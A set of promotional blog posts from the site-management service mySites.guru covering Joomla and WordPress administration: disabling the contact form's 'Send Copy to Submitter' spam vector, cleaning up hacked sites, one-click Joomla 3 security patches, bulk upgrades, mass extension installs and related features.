Speaking of tidying up your webspace - fluff files aren't the only things hiding in plain sight. Hackers plant dot-prefixed hidden files and folders that most file managers never show you. The mySites.guru audit surfaces them all in seconds.

Post-update cleanup is part of our guide to managing updates at scale.

Disable "Send Copy to Submitter" in Joomla

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

We have all been there. The customer calls and says people are telling him that his Joomla Site is spamming them, and on investigation the spammer has misused the Send Copy To Submitter feature of Joomla. Well now mySites.guru identifies this setting and alerts you if its not disabled.

One of the long standing core features of Joomla is the Contact Form.

However, the contact form has been much abused by spammers over the years.

One of the ways spammers abuse the contact form is to use the Send Copy To Submitter feature.

This is a simple checkbox on the contact form that, when ticked, and the form submitted, will send the contact form as normal to the Site Admin (or whoever its configured to send to) as well as to the email address provided by the person filling in the form.

That "person" might be a bot, a spammer, and the email address they provide in the "Email" input is the email address destination of their spam target.

Once they put the email of their target in, and check the Send Copy To Submitterbox they submit the form and Joomla simply honours what they have asked. It sends a copy to the email address provided.

The "victim" then receives spam with a subject line starting "Copy of:"

The "victim" then accuses your site of spamming them. Of course, this only works if your site's email configuration is actually sending mail in the first place - see how to verify your Joomla email configuration for the full checklist.

How Do You Disable Send to Submitter in Joomla?

Does the mySites.guru Snapshot Show This Setting?

Every day the mySites.guru snapshot takes tens of thousands of new snapshots of Joomla and WordPress sites (the Send Copy To Submitter issue is a Joomla thing though!)

We now report in the snapshot if your site has the Send Copy To Submittersetting enabled.

Note that in later versions this setting is disabled by default when you install Joomla, and that earlier versions had it enabled by default.

Note also that although we check the Global value of this setting, you can still override the Global setting on a per form basis. We don't check this because that is a deliberate action you would need to take, and we hope you know why you did it. We are just recommending sane Global defaults.

You can also use the pivot button to view this settings current status on ALL your connected sites to mySites.guru (remember that mySites.guru is an UNLIMITED SITES service for only GBP19.99 a month!)

For more Joomla-specific configuration and security tips for agencies, see the Joomla agency handbook.

How to Fix a Hacked Joomla or WordPress Site

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

So it happened. Your site got hacked. Don't panic. If you're not 100% sure yet, start with how to tell if your WordPress site is actually hacked - it covers the signs vs. false alarms. For the full rundown on what happens when a WordPress site gets hacked or a Joomla site gets hacked, those guides cover warnings signs, consequences, and prevention - but this post is about the cleanup process using mySites.guru. If your Joomla site uses the Astroid Framework, check our Astroid vulnerability breakdown first - it covers the specific backdoors and cleanup steps for that attack. Extension vulnerabilities like the Novarain Framework exploit are another common entry point, particularly because shared library plugins like nrframework get bundled as silent dependencies that site owners don't realise are there.

Why Should You Back Up First (and Not Restore)?

Do it now. Back up your site. Even if it's hacked. Back up right now. Done? Good.

You'll see people recommend restoring from your last clean backup. This should only be a last resort. Restoring wipes away evidence that someone experienced can use to understand how you were hacked in the first place. Worse, it re-introduces the same security hole that let the attacker in.

Want an expert to just fix it?

If you'd rather hand this off, visit fix.mysites.guru and submit a request. For a one-time set fee of GBP 120, Phil will clean your site, upgrade it, lock it down and hand it back secure. Non-subscribers get a free month of mySites.guru included.

How Do You Find the Hacked Files with mySites.guru?

mySites.guru has a set of tools built specifically for this. The platform checks every line of code in your webspace to show you what's actually happening on your site.

The most popular tool for hack cleanup is the suspect content scanner.

How Do You Discover Suspect Content in Your Files?

After your site has been audited, you'll find the suspect content tool in the "Hacked?" section of the Audit tab.

Clicking Investigate loads a real-time scan of your files:

The tool shows the file path, filename, last modified date, size, and permissions. You get buttons to edit the file, view the suspect content matches, or delete the file entirely.

Click on a filename and the platform retrieves the file from your site, runs it against the pattern matching engine, and highlights the exact lines that look suspicious:

How Do You Revert Core Joomla and WordPress Files?

In the example above, index.php has two lines of injected code. You could edit those lines out manually, but there's a faster way.

The first tool in the Audit tab is the core file integrity check - it lists every core file (Joomla or WordPress) that has been modified since release. Click on a file and you get a side-by-side diff: the original on the left, your modified version on the right.

Click the blue arrow and the original file is restored in a single click - overwriting the hacked version and reverting all changes.

What Other Audit Tools Help Investigate a Hack?

The suspect content scanner and core file diff are just two of the tools available. The full security audit toolset includes checks for:

Not every flagged file is malicious. Some are hidden dot-files left behind by tools or hosting providers that are harmless but worth knowing about. Work through each tool and you'll know exactly what needs cleaning.

How Do You Set Up Monitoring to Catch Future Hacks Early?

Once your site is clean, set up monitoring so you'll know immediately if something changes again.

mySites.guru lets you add unlimited sites and run unlimited backups, snapshots, and audits. The real-time file monitoring checks a configurable list of critical files on every page load and emails you if any of them are modified.

Finding a hack the same day it happens is a completely different situation from discovering it three months later.

Run a free audit on your site to see what mySites.guru finds.

This is part of our WordPress and Joomla security guide for agencies.

Fix Joomla 3 Security Issues in One Click

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Joomla 3 is end of life. The official project stopped releasing public updates at 3.10.12, but new vulnerabilities keep turning up. In January 2025 alone, three more were disclosed via the eLTS programme.

Manually patching 55 files per site is tedious enough when you have five sites. When you have five hundred, forget it.

mySites.guru fixes every known Joomla 3 security issue with a single click.

We include all Joomla 3 security fixes in the service. No eLTS subscription needed.

How Does It Work?

The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. One toggle. That's it.

Under the hood, the mySites.guru connector tracks the MD5 hash of each file that needs patching. Flip the toggle on and it compares hashes against the expected patched versions, replacing anything that doesn't match. Flip it off and the files revert to stock 3.10.12.

The tool only runs on Joomla 3.10.12, the last publicly released version of the Joomla 3 series. It ignores the commercial eLTS programme entirely.

Where Do You Find the Tool?

Two ways to get there:

Cmd+K and search for "Fix All Known Joomla 3"
Open your site's Snapshot and scroll to the Joomla Configuration section

Both paths lead to a tool overview page listing every Joomla 3.10.12 site you manage, along with each site's current patch status.

How Do You Patch Multiple Sites at Once?

Got dozens or hundreds of Joomla 3 sites? Click the grid icon next to the toggle to open the bulk view. It shows every Joomla 3.10.12 site with individual toggles. If you're managing multiple Joomla sites from a single dashboard, this bulk view is where you'll spend most of your time.

Direct link: manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol

What vulnerabilities does it fix?

Individually, none of these will get your site hacked while you sleep. But stacked together across an unpatched site, they add up. The patch covers 55 files and addresses every known vulnerability disclosed since 3.10.12:

XSS vulnerabilities

Other vulnerabilities

eLTS bug-fix-for-bug-fix patches

Fixes in 3.10.19-elts that repair broken code shipped in 3.10.18-elts
Fixes in 3.10.18-elts that repair broken code shipped in 3.10.17-elts

How Do Patched Files Show Up in Audits?

After patching, your mySites.guru audit will flag the modified files as Core File Changes, because they are changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool.

Which Files Does the Patch Modify?

The tool patches 55 files: a mix of PHP files (the actual security fixes) and XML form definitions (tighter input validation). You need both. Changing the XML alone isn't enough.

<details> <summary>Full list of patched files (55 files)</summary>

administrator/components/com_config/model/form/application.xml
administrator/language/en-GB/en-GB.com_config.ini
components/com_content/views/archive/view.html.php
components/com_finder/views/search/view.html.php
components/com_search/views/search/view.html.php
libraries/src/Cache/Cache.php
libraries/src/Pagination/Pagination.php
administrator/components/com_banners/models/forms/banner.xml
administrator/components/com_categories/models/forms/category.xml
administrator/components/com_contact/config.xml
administrator/components/com_contact/models/forms/contact.xml
administrator/components/com_content/models/forms/article.xml
administrator/components/com_fields/models/forms/field.xml
administrator/components/com_menus/models/forms/item_alias.xml
administrator/components/com_menus/models/forms/item_component.xml
administrator/components/com_menus/models/forms/item_heading.xml
administrator/components/com_menus/models/forms/item_separator.xml
administrator/components/com_menus/models/forms/item_url.xml
administrator/components/com_menus/models/forms/itemadmin_alias.xml
administrator/components/com_menus/models/forms/itemadmin_component.xml
administrator/components/com_menus/models/forms/itemadmin_container.xml
administrator/components/com_menus/models/forms/itemadmin_heading.xml
administrator/components/com_menus/models/forms/itemadmin_url.xml
administrator/components/com_newsfeeds/models/forms/newsfeed.xml
administrator/components/com_tags/models/forms/tag.xml
administrator/components/com_users/models/user.php
administrator/language/en-GB/en-GB.lib_joomla.ini
administrator/templates/hathor/templateDetails.xml
administrator/templates/isis/templateDetails.xml
components/com_content/models/forms/article.xml
components/com_tags/views/tag/tmpl/default.xml
components/com_tags/views/tag/tmpl/list.xml
components/com_tags/views/tags/tmpl/default.xml
components/com_users/models/profile.php
components/com_users/views/login/tmpl/default.xml
components/com_wrapper/views/wrapper/tmpl/default.xml
includes/framework.php
libraries/cms/html/string.php
libraries/fof/download/adapter/cacert.pem
libraries/src/Form/Rule/UrlRule.php
libraries/src/Http/Transport/cacert.pem
libraries/src/Language/LanguageHelper.php
libraries/src/Uri/Uri.php
libraries/vendor/joomla/filter/src/InputFilter.php
libraries/vendor/joomla/filter/src/OutputFilter.php
modules/mod_custom/mod_custom.xml
modules/mod_wrapper/mod_wrapper.xml
plugins/user/profile/profile.php
templates/beez3/templateDetails.xml
templates/protostar/templateDetails.xml
components/com_privacy/controller.php
components/com_privacy/privacy.php
components/com_users/controller.php
components/com_users/users.php
modules/mod_menu/tmpl/default.php

</details>

Why Does Joomla 3 Still Matter?

Joomla 3 is still everywhere. W3Techs shows version 3 running on the majority of Joomla installations, and Joomla's own usage statistics put 3.10.x at over 35% of reporting sites.

If you run a digital agency, you already know: migrating clients from Joomla 3 to 4 or 5 takes budget, developer time, and client sign-off. That doesn't happen overnight, and the sites still need protecting in the meantime.

What Is the Joomla 3.10.999 Project?

The patches in mySites.guru come from the open-source Joomla 3.10.999 project. That repo has every Joomla 3.10 version from 3.10.12 onwards, plus diffs for all patches released under the commercial eLTS programme.

Same approach as the earlier Joomla 1.5.999 and Joomla 2.5.999 repos. It'll be maintained for as long as Joomla 3 sites exist.

Stop patching files by hand

If you're still running Joomla 3, stop tracking CVEs by hand. Add your sites to mySites.guru, flip the toggle, and get on with your day.

The broader picture of securing Joomla and WordPress sites is covered in the WordPress and Joomla security guide. For Joomla-specific agency workflows, see the Joomla agency handbook.

Start your free trial →

How to get mySites.guru for free - for a whole month!

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

mySites.guru costs £19.99/month, the same price since 2012, with no per-site fees. But I'd rather you try it properly before paying anything.

The free trial only covers a single audit of one site. A few of you have asked for a way to test the rest of it: bulk updates, security scans, uptime monitoring, backups. Those are the basics, but real site management covers a lot more. So here it is.

Use this plan code when you subscribe and you won't be charged until next month. Full access, unlimited sites, everything included.

<div class="not-prose my-6 flex justify-center"> <a href="https://manage.mysites.guru/en/subscription/plans?plancode=FIRSTMONTHFREE" class="inline-flex items-center gap-2 rounded-lg border-2 border-dashed border-green-500 bg-green-50 px-6 py-3 font-mono text-lg font-bold tracking-wider text-green-800 no-underline transition hover:bg-green-100 dark:border-green-400 dark:bg-green-950 dark:text-green-200 dark:hover:bg-green-900"> ✂️ FIRSTMONTHFREE </a> </div>

You are starting an auto-renewing subscription though. You'll need to enter payment details.

<div class="not-prose rounded-lg border border-blue-200 bg-blue-50 p-4 text-sm text-blue-900 dark:border-blue-800 dark:bg-blue-950 dark:text-blue-200"> <strong>No risk:</strong> Cancel before your renewal date and you won't be charged a penny. If you don't cancel, your subscription renews at the standard rate of £19.99/month. </div>

Steps to get started:

Log in to mySites.guru
Go to the Subscribe page
Enter the plan code <code class="rounded border border-dashed border-green-500 bg-green-50 px-2 py-0.5 font-mono font-bold text-green-800 dark:border-green-400 dark:bg-green-950 dark:text-green-200">FIRSTMONTHFREE</code> and click Apply Code
Review the proposed plan
Click Subscribe now
Enter your payment card details
Done - welcome on board!

Questions? Drop me a line at phil@phil-taylor.com and I'll get back to you quickly.

How to Hide Joomla Post Installation Messages

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Joomla's Post Installation Messages are useful on one site. When you're managing thousands of Joomla sites, clearing them one by one gets old fast. mySites.guru lets you dismiss them across all your sites at once.

What is a Joomla Post Installation Message?

Joomla 3.2 added a feature called "Post Installation Messages".

Post Installation Messages are used by the Joomla Project - and some extension developers - to convey important information to you after upgrading your Joomla Site or installing a Joomla extension.

In the past they have been used to bring your attention to backward incompatible security changes, changes you need to manually make to your .htaccess, advice to enabled Two factor authentication etc...

The messages are often dynamic and can make checks before showing. For example the Two Factor Authentication Post Installation Message will check to see if you have the plugins enabled before being shown.

The idea is that you are meant to read, consume, understand and apply any suggestions in the Post Installation Messages - and then click to hide them forever (they remain in the database and can be "reverted" to show them again.

What Happens When You Have 1000 Sites?

When you have 1000 Joomla sites to manage, visiting each one to clear the same messages after every update is impractical.

mySites.guru already has tools to allow you to manage 1000s of Joomla sites in one place, to backup, to snapshot and to audit for hacks and best practice - and one of those tools will show you how many Post Installation Messages are unread.

One of our tools will list your sites by this metric:

As you can see this account has loads of unread Post Installation Messages across many sites.

How Do You Dismiss Them All in One Click?

Click the green button:

A few seconds later, all Post Installation Messages are cleared on every site:

Where do I find this?

You need a mySites.guru subscription. Pricing hasn't changed since 2012, and you can get your first month free.

Once you're a subscriber, add your Joomla sites to your dashboard.

Then, from the Manage Site page, find the Joomla Post Installation Messages tool:

and then click on the Pivot Button that looks like this:

This was one of our most requested features after we started tracking this metric in the mySites.guru snapshot.

Post Installation Messages are genuinely useful - on the first site. After that, you've read them, and they're essentially identical across all your sites. Joomla 4 made this worse by showing the alert on every page of the admin:

mySites.guru clears the flag across all your sites at once.

Bulk Joomla admin tasks are part of our Joomla Agency Handbook.

How to impersonate your mySites.guru team members

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

After announcing Team Management for mySites.guru, we added impersonation - one of the most useful features for account owners running a team.

As the Team Captain (the person paying!) You can now Impersonate your Team Members, logging in as them, without their credentials, to access their account and see what they are seeing, then Exit Impersonation back to your own account without any login/logout.

Find out more by watching this introduction video by Tim on his Basic Joomla Tutorials Channel

For a deeper look at Teams Management, watch this video by Tim:

Team tools like this are covered in our agency management guide.

Install Extensions to Multiple Joomla Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

The mySites.guru Mass Installer Tool installs an extension across multiple Joomla (or WordPress) sites in one go, so you don't have to log into each one.

What Is the Mass Plugin Installer for Joomla and WordPress?

Tim Davis of Basic Joomla walks through the tool in this video:

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">ℹ️ Interface update</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">This video was filmed before the February 2024 interface refresh. Some screens and menus may look different, but the workflow is the same.</p> </div>

How Do You Install or Update a Joomla Extension?

You can use mySites.guru to mass install a Joomla extension zip file to hundreds of your connected sites right from your dashboard.

How Do You Install a WordPress Plugin Across All Your Sites?

Same tool, same workflow. Select your connected WordPress sites, upload a plugin zip or paste a URL, and you're done.

Steps to mass install a plugin or extension

Step 1 - Upload a plugin zip file or provide the URL you want to install from.

Step 2 - Select the sites you want to install to. You can pick individual sites or select all connected sites at once.

Results per site

mySites.guru installs the plugin on all selected sites with no further interaction needed. You'll get a per-site report showing which installs succeeded and which need attention.

When Should You Use the Mass Installer?

The obvious case is deploying the same extension everywhere, but there are a few scenarios where it really pays off:

Emergency security patches: a critical vulnerability drops and you need every site patched before someone exploits it. Doing this one site at a time when you manage 50+ sites isn't realistic. The Joomla TinyMCE Firefox 148 bug is a perfect example - one hotfix package pushed to every affected site in minutes.
Rolling out a custom plugin: if you maintain a bespoke plugin for client sites, the mass installer is the fastest way to push a new version.
Standardising your stack: moving all clients onto the same backup plugin or security tool? Upload the zip once and push it everywhere.
Replacing a deprecated extension: when a plugin gets abandoned or delisted, you can mass-install the replacement across every affected site in one batch.

Can You Install by URL or Zip File?

You can either upload a zip file directly or paste a URL that points to one. The URL option is handy when the extension host provides a direct download link - you don't need to download it to your machine first.

For Joomla extensions, this works with anything you'd normally install through the Joomla Extension Manager: components, plugins, modules, templates, and language packs. For WordPress, it handles any standard plugin zip.

How Do You Filter Sites Before You Install?

You don't always want to install to every connected site. The mass installer lets you pick individual sites from your list, but there's a quicker way if you're targeting a specific group.

Use the Extensions management feature to search for sites that already have a particular extension installed. For example, if you want to update Akeeba Backup on every site that already has it, search for "Akeeba" in the extensions list, then click "filter by these" - the mass installer pre-selects only those sites.

This is particularly useful when you're updating rather than doing a fresh install. No point pushing a plugin to sites that don't use it.

What happens if an install fails?

mySites.guru reports back per site. If a site is unreachable, has permissions issues, or the install itself errors out, you'll see it in the results. The other installs aren't affected - each site is processed independently.

Common reasons for failures:

Site is offline or unreachable at the time of install
PHP memory or execution time limits too low for the package size
File permissions preventing writes to the plugin directory
The site's connection to mySites.guru has expired and needs reconnecting

You can retry failed sites individually or run the mass install again with just those sites selected.

Combining mass installs with bulk updates

The mass installer and bulk updates solve different problems. Bulk updates handle version upgrades for extensions already installed on your sites. The mass installer pushes a specific zip to sites that may not have the extension at all.

A typical workflow: use the mass installer to deploy a new extension across your portfolio, then use bulk updates going forward to keep it current as new versions come out.

Supported platforms

The mass installer works with both Joomla and WordPress sites connected to mySites.guru. There's no limit on how many sites you can target in a single batch - if you've got 500 sites connected, you can install to all 500 at once.

Run a free site audit to connect your first site and try the mass installer yourself.

Bulk extension deployment is a key workflow in our Joomla Agency Handbook.

Manage and Monitor Any PHP App with mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

mySites.guru isn't just for Joomla and WordPress. You can add, manage, audit, back up and monitor any webspace that can run PHP.

mySites.guru is best known for helping agencies and developers manage multiple Joomla and WordPress sites, with over 80,000 sites already connected. But the same toolset works for any PHP application. Drupal, Prestashop, Magento, Laravel, custom-built apps - if it runs PHP, you can connect it.

That means you get the full security audit, site management, backup, and uptime monitoring capabilities across every site in your portfolio, no matter what CMS it runs.

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The screenshots below are from an older version of the interface. We've since redesigned the dashboard, but the process works the same way.</p> </div>

How do you connect a generic PHP site?

Using the connect-another-site wizard, select the Generic PHP option and download the connector. Upload it to the /bfnetwork directory on your server.

You then provide database credentials (mySites.guru uses a database table to store the audit cache) and you're connected.

Once connected, your generic PHP site appears alongside your Joomla and WordPress sites in the same dashboard. You manage everything from one place.

What tools work with generic PHP sites?

You get the same toolset you'd get with a Joomla or WordPress site. Nothing is cut down or restricted.

The snapshot collects server details, PHP configuration, disk usage, and database stats. The full security audit scans every line of every file in your webspace looking for hacks and malicious code. The suspect content tools flag anything suspicious and let you view, edit, or delete flagged files directly.

You can also connect Akeeba Backup Solo and use mySites.guru to trigger periodic backups of your webspace. With the Professional version, you can push those backups to remote storage like Dropbox or sFTP.

Is uptime monitoring included for free?

Every site you add to mySites.guru gets free uptime monitoring powered by our own monitoring engine. No third-party service, no extra cost.

mySites.guru alerts you when your site goes offline and again when it comes back. If you ever get an alert but the site loads fine for you, here's why that happens. Response times are logged so you can spot performance trends and catch problems before your users do.

How do backups work with Akeeba Backup Solo?

Akeeba Backup is well known in the Joomla world, but the same backup engine is available as a standalone product called Akeeba Backup Solo. It works on any PHP webspace, no CMS required.

Once installed, mySites.guru can schedule and trigger backups on whatever interval you need. Daily, weekly, or tied to specific events. The Professional edition adds remote push to Dropbox, Amazon S3, sFTP, and other storage backends.

How do security audits work for any PHP application?

The security audit is where mySites.guru really earns its keep on generic PHP sites. Most security tools are built for WordPress or Joomla specifically. They know what core files should look like and flag changes. But what about a Laravel app, a custom CMS, or a legacy PHP codebase? Those don't have a "core" to compare against.

mySites.guru's audit doesn't rely on knowing your CMS. It scans every file in your webspace and looks for patterns that indicate malicious code: base64-encoded payloads, eval statements, obfuscated variables, known backdoor signatures, and more. If someone has injected code into any file on your server, the audit will flag it.

You can also set up real-time file change alerts on critical files. If anything changes, you get an email immediately.

What types of PHP applications work?

Anything that runs on a standard PHP hosting environment. Some examples:

Drupal - full audit and backup support, uptime monitoring
Prestashop - scan your e-commerce files for injected payment skimmers
Magento / Adobe Commerce - monitor a complex codebase for unauthorized changes
Laravel - audit deployed applications alongside your WordPress and Joomla sites
Custom PHP applications - legacy systems, bespoke CRMs, internal tools
Static sites with PHP contact forms - even minimal PHP sites benefit from file monitoring

The connector doesn't care what framework you use. It just needs PHP and a database connection for caching.

How do you manage a mixed portfolio?

Most agencies don't run a single CMS. You've got clients on WordPress, a few legacy Joomla sites, maybe a custom Laravel app for an internal tool, and a Drupal site that nobody wants to touch.

Before mySites.guru, that meant separate dashboards, separate monitoring tools, and separate backup workflows for each platform. Now everything lives in one place.

The best practice checks flag common configuration problems across all your sites. PHP version too old? Debug mode left on? Weak file permissions? You'll see it for your generic PHP sites the same way you see it for WordPress and Joomla.

Getting started

Connecting your first generic PHP site takes a few minutes:

Log in to mySites.guru and use the connect-another-site wizard
Select "Generic PHP" and download the connector
Upload the connector to your server's /bfnetwork directory
Enter your database credentials in the wizard
Run your first snapshot and audit

From there, you can schedule backups, enable uptime monitoring, and set up file change alerts - the same workflow you'd use for a Joomla or WordPress site.

For a broader look at monitoring strategy across a mixed portfolio, see the site monitoring and alerting guide.

Run a free audit to connect your first PHP site and see what mySites.guru finds.

Manage Multiple WordPress Sites Like a Pro

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Once you're past about five WordPress sites, the cracks start showing. You forget which ones you've updated, backups slip, and you only find out about a security issue when a client asks why their site is redirecting to a pharmacy.

Here's what actually works when you're managing lots of sites, based on over a decade of doing this myself.

Get everything into one dashboard

Logging into each site individually is the first thing that has to go. You need a single place that shows you update counts, security status, and uptime across every site.

mySites.guru does this for unlimited WordPress, Joomla, and PHP sites at a flat monthly price. There are other options like ManageWP and MainWP too, but they tend to charge per site, which gets expensive fast when you're managing hundreds. For a deeper look at what a proper setup covers, see the guide to managing multiple WordPress sites from a single dashboard.

Whatever you pick, stop using browser bookmarks as your "management system".

Automate backups

Manual backups don't happen. Everyone says they'll do them weekly, nobody actually does. Set up automated backup schedules and forget about them. mySites.guru lets you schedule backups across thousands of sites using Akeeba Backup or All-In-One Migration.

The important bit: test your restores occasionally. A backup you've never tested is just a file that makes you feel better.

Update in bulk

Outdated plugins are the number one way WordPress sites get hacked. That's not opinion, it's what I see across the 80,000+ sites connected to mySites.guru.

Bulk updates let you push plugin, theme, and core updates to every site at once. You still need to pay attention to what you're updating, especially major version jumps, but the days of clicking "Update" on each site individually should be behind you. If you want full control, you can also disable WordPress automatic updates across all your sites from the dashboard so nothing changes without your say-so. See the full walkthrough on how to bulk update WordPress sites if you want the step-by-step detail.

Security goes deeper than a plugin

Installing Wordfence is fine, but it's surface-level. Real security means scanning every file in your webspace for things that shouldn't be there: backdoors, injected code, modified core files. If you're still thinking of site management as just updates and backups, it covers a lot more ground than that.

You also want real-time alerts when files change unexpectedly or someone logs into an admin panel. Finding a hack three months after it happened is significantly worse than catching it the same day. And when you do need to jump in, one-click admin login gets you into any site's admin console without hunting for credentials.

Security headers and SSL certificate monitoring are easy wins that most people skip.

Teams need their own logins

If your whole agency shares one mySites.guru login, or worse, one WordPress admin password across all client sites, stop. Give everyone their own account with appropriate permissions. It's free with mySites.guru and means you can actually see who did what.

Audit your sites regularly

Not just for SEO. Check for best practice issues, PHP version compatibility, disk space warnings, leftover default content like the Sample Page and Hello World post, and admin customisations like removing the WordPress logo from the admin bar. The mySites.guru snapshot runs over 100 checks on each connected site, twice a day. You can also run a free audit right now to see what it finds.

The short version

Get a proper dashboard, automate your backups, update in bulk, scan deep for security issues, and give your team their own access. That's it. None of this is complicated. The hard part is actually setting it up instead of telling yourself you'll get to it next week.

For the complete approach, see our agency multi-site management guide.

Upgrade 100s of Sites from One Dashboard

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

One of the most popular reasons for using mySites.guru is being able to upgrade Joomla and WordPress core across all your sites without logging into each one individually. Here's how the process works: back up, upgrade, verify.

After logging in, the left menu shows how many Core Updates are needed. In this example, 15 sites need a core update (and 59 plugins/extensions, but we'll focus on core for now).

Go to the Scheduled Backups page and open the schedules tab. For Joomla, mySites.guru uses Akeeba Backup (free or paid, both work). You can back up one site at a time or click "Start Backup Of All Sites" to queue them all at once.

Backups are queued and run in the background - you don't need to stay on the page. Once you're happy everything is backed up, move to the upgrades. (Periodically test your restores too - an untested backup is just a file that makes you feel better.)

Open the "Mass Upgrade Sites" tool. It fetches available upgrade paths from your sites, which takes a few seconds. Select individual sites or click "Select All," then hit the green button.

Each upgrade is queued in the background and you're taken to the status page to watch progress. You can do small batches or select everything - that's your call based on how comfortable you are with the risk.

Once upgrades are done, run a new backup and start a fresh audit to verify everything is healthy. You can also remove leftover fluff files from Joomla automatically.

The same process works for WordPress sites not using WordPress's built-in auto-updates. For a full walkthrough focused on WordPress, see the guide to bulk updating WordPress sites.

Team tip: If you'd rather delegate this to someone else, you can add unlimited team members to your mySites.guru account and assign them the upgrade task.

Bulk updates are covered in detail in our guide to managing updates at scale.

Test Site Performance With Lighthouse

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

We no longer provide built-in Lighthouse Performance Audits.

Google's Lighthouse tooling has matured to the point where it no longer makes sense for us to wrap it as a micro-service. You can run the same audits directly through the official PageSpeed Insights service from Google - it's free, always up to date, and gives you the full Lighthouse report.

Performance auditing is part of our complete site monitoring guide.

Auto-Upgrade 1000s of Plugins & Extensions

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

We've already written about automatic updates for Joomla extensions, removing fluff files after updates, managing extensions and plugins, and mass upgrading from one dashboard. Here's how all of that fits together in practice - and why updates are one of the most-used features in the dashboard.

How do you mass upgrade Joomla and WordPress from one dashboard?

Select all your out-of-date Joomla or WordPress sites, click "Start Upgrades For Selected Sites," and go make a coffee.

mySites.guru queues each site, downloads the right update package, extracts files on your server, and runs post-install tasks. If you've turned on fluff file removal for Joomla, that happens automatically too.

Doesn't matter if it's one site or a hundred.

How do you enable auto-updates for any Joomla extension?

Any update stream in mySites.guru can be flagged for automatic updates. Say you have Akeeba Backup installed - when a new version comes out, mySites.guru queues the update without you lifting a finger.

You can enable this per site, or flip it on across every site that has a given extension. Works with any Joomla extension, not just Akeeba.

How do you view and apply WordPress plugin updates?

On the Manage Site page, you'll see all available plugin updates for WordPress (and Joomla). Release notes from the developer are right there, and you can apply the update with one click.

Current versions show in red, available versions in green. You can see the exact upgrade path before you commit to anything.

Pending updates in the sidebar

The left menu keeps a running count of extension updates, plugin updates, and core upgrades across all your sites. Quick way to see how much maintenance you've got piling up.

Keeping sites current

Between mass upgrades, per-extension auto-updates, and the per-site plugin view, there's no reason for your sites to fall behind. Keeping everything current also reduces your exposure to known plugin vulnerabilities. You can review the version upgrade path before committing and run post-upgrade cleanup like fluff file removal. For a full walkthrough focused on WordPress, see the guide to bulk updating WordPress sites.

Back up before any upgrade

mySites.guru has built-in support for Akeeba Backup and the All-In-One Migration Plugin (WordPress), so you can take a backup before applying updates - one site or all of them at once.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">⚠️ Keep in mind</p> <p class="mt-1 text-sm text-amber-800 dark:text-amber-300">Backing up all sites at once will put temporary load on your servers while the backups run.</p> </div>

This is part of our guide to managing CMS updates at scale.

Install Extensions to 1000+ Sites at Once

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

If you manage dozens or hundreds of Joomla and WordPress sites, installing the same extension one site at a time gets old fast. mySites.guru lets you push any plugin or extension to unlimited sites in a single action - no SSH or FTP required.

The Mass Package Installer in mySites.guru handles Joomla extensions, plugins, modules, templates, and WordPress plugins from one dashboard. You can push an update manually or upgrade across all your sites at once. When a browser update breaks the Joomla editor across every version, this is how you push the hotfix to hundreds of sites in minutes instead of hours.

For a detailed walkthrough, see the dedicated mass plugin installer guide.

Where do I find this tool?

Open the main tool finder in mySites.guru and search for "Mass Package Installer."

Upload a zip file or provide a direct URL to a hosted zip file in step one:

Then select one, two, or all of your connected Joomla and WordPress sites:

Click "Install Extension On Selected Sites" and grab a coffee. mySites.guru queues a background job for each site and works through them while you do something else.

That's it.

Bonus: filter sites by installed extension

Say you want to install the latest Akeeba Backup on every site that already has an older version. Use the Extensions feature in mySites.guru to search for Akeeba:

Then click "filter by these" to jump to the Mass Package Installer with only those sites pre-selected:

Want to see it in action?

Integrate mySites.guru to Alfred Workflow on Mac

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

You can install our Alfred Workflow to jump straight to any connected site's management page from your keyboard.

What is Alfred?

Alfred is a macOS launcher that gives you fast access to apps, files, web searches, and custom actions via keyboard shortcuts. If you spend a lot of time at your Mac, it's worth trying - the free version is genuinely useful on its own.

I have mine mapped to CMD+SPACE.

What is an Alfred Workflow?

A workflow is essentially a plugin for Alfred - it adds custom commands and actions. You need the Alfred PowerPack to use workflows, which costs £34 (or £59 for a lifetime licence).

https://youtu.be/qP0ORBgDHr8

How to integrate mySites.guru with Alfred

With Alfred and the PowerPack installed, download the workflow and open it to add it to Alfred. Then:

Press your Alfred shortcut and type my followed by a space
You'll see a list of mySites.guru menu items to choose from
Select one and hit Enter - your browser opens that page

How do you connect your account for full site search?

